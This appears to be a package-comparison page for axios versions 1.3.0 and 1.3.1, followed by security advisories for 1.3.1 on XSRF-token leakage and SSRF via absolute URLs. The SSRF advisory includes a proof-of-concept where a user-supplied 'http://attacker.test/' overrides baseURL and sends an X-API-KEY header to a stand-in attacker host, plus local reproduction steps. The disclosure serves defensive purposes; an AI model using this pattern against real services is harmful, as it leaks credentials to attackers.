Axios, a widely used promise-based HTTP client for both browsers and Node.js, released version 1.3.1 shortly after version 1.3.0. While both versions share the same core dependencies like form-data, proxy-from-env, and follow-redirects, offering consistent handling of form data, proxy configurations, and HTTP redirects, there are subtle differences between them. Examining the dist object in each package, we see that axios@1.3.1 was released on February 1, 2023, whereas axios@1.3.0 was released on January 31, 2023. The unpacked size of the newer version is slightly larger at 1,718,219 bytes compared to 1,716,407 bytes of the older version. This suggests some internal changes, bug fixes, or minor feature additions in the newer release.
Developers choosing between the two versions should opt for the latest (1.3.1) as it likely incorporates improvements and addresses any potential issues present in the previous version. As both version also share the same development dependencies, meaning that both versions of the package were built using the same toolchain and development environment, which decreases the likelihood of unexpected issue. While the core functionality remains consistent, staying up-to-date ensures access to the most refined and reliable implementation of this essential HTTP client library.
All the vulnerabilities related to the version 1.3.1 of the package
Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL
is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/
instead of the baseURL
. As a result, the domain owner of attacker.test
would receive the X-API-KEY
included in the request headers.
It is recommended that:
baseURL
is set, passing an absolute URL such as http://attacker.test/
to get()
should not ignore baseURL
.baseURL
with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL
.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL
is set to http://localhost:10001/
, axios sends the request to http://localhost:10002/
.
baseURL
and does not validate path parameters is affected by this issue.